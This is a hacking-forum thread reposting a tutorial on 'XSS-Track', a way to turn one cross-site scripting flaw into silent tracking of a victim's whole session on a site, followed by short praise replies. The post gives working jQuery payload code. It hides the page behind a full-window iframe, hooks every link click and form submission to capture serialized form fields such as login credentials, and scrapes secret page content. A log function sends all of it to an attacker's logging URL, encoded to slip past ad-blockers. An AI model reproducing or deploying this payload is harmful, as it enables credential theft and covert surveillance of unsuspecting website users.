Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

#####[Hot] [TuT] XSS Track-How to Quietly track a whole website through Single XSS

Hey There Everyone,Since This is my first TuT in HF i do not know much about the formatting standards,however I would like to share something interesting For XSS Lovers:🤗
Firstly I State that this is not mine: I found it somewhere and thought of sharing it.

However You May Ask Any of Your Queries Here If you Want:✌


XSS is #1 threat in web application security. We all know it's pretty common, from time to time we encounter a website where a single input field is vulnerable. Happily we send out alert(document.cookie) only to find out that session cookie is httpOnly (it's a good sign!). On the other side we know that XSS gives us, white hats, an almost unlimited potential on how to alter the vulnerable page. We can:

deface it,
steal user's form values
redirect to form a phishing attack
look at cookies
try to send malware through a drive-by download attack
and many more...

However, what to do if we found a vulnerability on one page, and all the interesting things are on the other page on the same domain? Say, the vulnerability is on http://vulnerable.example.com/search and we'd really like to steal user's credentials from http://vulnerable.example.com/login-form? Of course, with JS it's possible, but usually it's a difficult manual process to construct such payload. Today I'll present a way that makes it dead easy to:

track user's actions on a vulnerable website (clicks, form submits),
track outside links,
monitor pages content and report any interesting HTML elements (e.g. the secret credentials)

All of this is possible with a single injected script - think XSS-injected Google Analytics! With just one XSS vulnerability on any page an attacker gets information about all browsing actions of unsuspecting user. Demo inside!


Having found a XSS vulnerability, we basically run a script on a vulnerable page. But if user navigates away from that page, by e.g. clicking a link, the browser will fetch another page that doesn't have our XSS payload, so the payload "dies". To be able to survive this, our XSS needs to become persistent.

What would survive reloading the document in a window? Another window - or en embedding frame. If you have a website that is rendered in <iframe>, clicking the links reloads the iframe, but doesn't touch the embedding content. For example, clicking a facebook "like" button on a website only changes the button to "unlike", because it's embedded in an iframe with src=http://www.facebook.com/whatever.
[img]http://4.bp.blogspot.com/_yeezYoHslRg/TNSF_EUeOvI/AAAAAAAAEcw/xmYn03etqd0/s320/facebook-like-iframe.png[/img]

Iframe used by Facebook
So if XSS payload could create an iframe with URL of any page from a vulnerable website (more on that later) and entice a user to click in the iframe instead of in our vulnerable page, the injected script would be still active, as his actions would reload the iframe content only (unless the website is frame busting, but there are ways around that).
Stealth mode
But no user is dumb enough to not suspect something when he's given a frame mixed with original page content. So to trick user, it would be best if our iframe took full amount of space (100% width, 100% height), borderless, and all other original content was hidden. In the effect we would have an iframe put on top of the page with target content covering up everything.

Sort of like clickjacking, but reverse, as we want the user to SEE the frame instead of everything else (in clickjacking we'd really like user to not see the iframe).
Everything is ready
We now have the framework for invisible persistent XSS. We have one vulnerable page on a website, and we inject there a script that:

hides every visible content (e.g. CSS display: none)
creates an iframe covering full browser window
loads any page from the vulnerable domain into the iframe

Here's the code for that (jQuery):

1 $('body').children().hide();
2 $('<iframe>')
3 .css({
4 position: 'absolute',
5 width: '100%',
6 height: '100%',
7 top: 0,
8 left: 0,
9 border: 0,
10 background: '#fff'
11 })
12 .attr('src', 'http://example.com')
13 .appendTo('body');

The whole setup looks like in the diagram below:
[img]http://4.bp.blogspot.com/_yeezYoHslRg/TNSGA1aLDMI/AAAAAAAAEc4/uo7H80JEjLQ/s320/text12364-2.png[/img]

XSS-Track - Step 1: iframe creation

For the user it looks as if he's browsing the website, but he's browsing our target iframe instead, and the injected script safely runs in a "parent" window. Our payload survives.

Now it's time for the script to actually do something interesting...
On load
As our iframe URL is on the same domain as the page with our script, no same-origin restrictions apply. So we have full access to our iframe DOM, and we can do everything :) To be able to easily hook up our code, we'll use iframe onload event. Everytime the frame reloads (e.g. because user clicks a link or the form is submitted), the onload event fires, so we could perform some actions on each new website page.
1 $('<iframe>').load(function() {
2 // we can do whatever we want:
3 // we have our window
4 this.contentWindow;
5 // and document
6 this.contentDocument;
7 });

Hijacking links & forms
First let's try to hijack all links and forms on the page. We want to watch for (and report) all form inputs and all link clicks on the website. With jQuery goodness this is trivial (I once wrote jQuery hijack plugin that does similar things for website developers convenience):
1 // hijack links and forms
2 $('body',this.contentDocument)
3 .find('a')
4 .click(function() {
5 log({event:'click', 'from': location, 'href': this.href, 'target':
6 this.target});
7 })
8 .end()
9 .find('form')
10 .submit(function() {
11 log({event: 'submit',
12 from: location,
13 action: $(this).attr('action') || location,
14 fields: $(this).serialize()
15 });
16 })
.end();




We find every link in newly loaded page, attach to its onclick event, quietly logging it once clicked. Same goes for every form submit (we're logging form input values).
Update: Now in newer browsers, XSS-Track can also capture files that you upload to a monitored site.
Monitoring content

Of course, this is not enough for us. What if we're interested in some secret data displayed on some page after logging in? E.g. some shared secret is displayed to the user and we would like to somehow extract it. Again, jQuery to our rescue. We'll try to find HTML elements using any jQuery selector and, if found, we log it's HTML code.

1 if ($(observeSelector, this.contentDocument).length) {
2 // we found the selector
3 $(observeSelector, this.contentDocument).each(function() {
4 var clone = $(this).clone();
5 log({event: 'found',
6 selector: observeSelector,
7 from: location,
8 // outerHTML emulation
9 'content': clone.wrap('<div>').parent().html()
10 });
11 clone.remove();
12 })
13 }

Other features
In supporting browsers,XSS-Track can now sniff WebSockets traffic.


Logging and reporting framework
The log function can do (almost) anything. For now, it just tries to report the data to an external server, using AJAX and if this fails (and it will until Cross Domain XHR will come), using external image URL. The logs are gathered by log.php script and are displayed in show.php.

1 function log(what) {
2 what["_"] = Math.random(); // avoid caching
3 try {
4 $.get(logUrl, what); // try with ajax first,
5 // but you might get into
6 // cross domain issues
7 // on older browsers (or IE)
8 } catch (e) {
9 // image
10 var i = new Image();
11 // encode to avoid adblock plus filters
12 i.src = logUrl + '?' + encodeURIComponent($.param(what));
13 $(i).load(function() {$(this).remove();}).appendTo('body');
14 }
15 };


The full setup works like this:

[img]http://4.bp.blogspot.com/_yeezYoHslRg/TNSGAbIVMkI/AAAAAAAAEc0/2zEtUmZAt9A/s320/text12364.png[/img]
XSS-track - Complete set up


Weak points

Once a user navigates to external website,we can only know it's URL, but further tracking stops (same origin restrictions prevent us to access iframe document from a different domain)
Same goes for opening a link in new tab, or using window.open()
The URL address bar never changes (but I have some ideas for this :) - now it is solved in HTML5 browsers

👍😁
Thanks for tutorial bro , I hope this helps beginners 🙂
Quote:On the other side we know that XSS gives us, white hats, an almost unlimited potential on how to alter the vulnerable page.


Don't u mean black hats?

Anyway nice tutorial bro.
Another great share tuts. Thank you.
very nice tutorial, thanks for sharing :)
thanx all....was out for sum days so cudnt reply...
Nice tutorial bro.
Thanks
Keep sharing.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Elite_xApr 13, 2025 04:44 PM 4 571 Apr 13, 2025 04:44 PM
Last Post: SS2580G
by mr.goodFeb 3, 2019 05:44 PM 7 1,197 Feb 3, 2019 05:44 PM
Last Post: mr.good
by xSellizeJan 26, 2019 10:22 AM 61 7,377 Jan 26, 2019 10:22 AM
Last Post: ratsandmice